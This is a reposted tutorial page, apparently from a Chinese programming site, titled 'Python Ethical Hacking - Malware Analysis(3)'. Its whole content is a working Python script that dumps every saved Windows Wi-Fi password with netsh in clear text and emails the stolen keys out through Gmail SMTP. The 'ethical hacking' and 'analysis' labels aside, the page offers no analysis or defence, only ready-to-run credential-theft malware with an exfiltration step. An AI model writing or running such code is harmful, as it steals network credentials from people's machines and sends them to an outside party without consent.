码迷,mamicode.com
首页 > 编程语言 > 详细

Python Ethical Hacking - Malware Analysis(3)

时间:2019-10-01 20:15:01      阅读:85      评论:0      收藏:0      [点我收藏+]

标签:save   python   war   env   dma   smtp   ttl   port   put   

Stealing WiFi Password Saved on a Computer

#!/usr/bin/env python

import smtplib
import subprocess
import re


def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()


command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks.decode())

result = ""
for network_name in network_names_list:
    command = "netsh wlan show profile \"" + network_name + "\" key=clear"
    current_result = subprocess.check_output(command, shell=True)
    result = result + current_result.decode()

print(result)

send_mail("aaaa@gmail.com", "1111111", result)

技术图片

 

Python Ethical Hacking - Malware Analysis(3)

标签:save   python   war   env   dma   smtp   ttl   port   put   

原文地址:https://www.cnblogs.com/keepmoving1113/p/11615804.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!